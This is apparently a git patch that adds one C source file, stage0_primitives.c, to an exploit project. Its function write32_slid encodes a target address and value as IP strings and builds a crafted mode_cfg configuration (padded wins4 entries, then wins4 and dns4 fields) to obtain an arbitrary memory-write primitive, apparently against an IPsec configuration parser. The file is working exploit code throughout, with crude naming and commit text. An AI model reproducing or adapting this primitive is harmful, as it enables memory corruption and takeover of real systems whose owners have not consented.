From 7caa231e0b0fa607080586725fbbc9628a1cc031 Mon Sep 17 00:00:00 2001 From: spv Date: Wed, 20 Apr 2022 14:10:27 -0400 Subject: hello and welcome back to hell --- src/stage0_primitives.c | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100755 src/stage0_primitives.c (limited to 'src/stage0_primitives.c') diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c new file mode 100755 index 0000000..b54cb1a --- /dev/null +++ b/src/stage0_primitives.c @@ -0,0 +1,46 @@ +/* + * stage0_primitives + */ + +#include +#include + +#include "stage0_primitives.h" +#include "ip_tools.h" +#include "common.h" +#include +#include "shit.h" + +//#define DNS4_OFFSET 0xb6c10 + +char* write32_slid(uint32_t where, + uint32_t what) { + char* where_ip = NULL; + char* what_ip = NULL; + char* ret = NULL; + + uint32_t where_ = where - DNS4_OFFSET; + where_ >>= 2; + where_ += 0x80000000; + + where_ip = uint32_t_to_ip(where_); + what_ip = uint32_t_to_ip(what); + + asprintf(&ret, "mode_cfg{" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins4255.255.255.255;" + "wins4%s;" + "dns4%s;" + "}", + where_ip, + what_ip); + + strcpy(fuck_memory_leaks, ret); + + free(ret); + + return fuck_memory_leaks; +} \ No newline at end of file -- cgit v1.2.3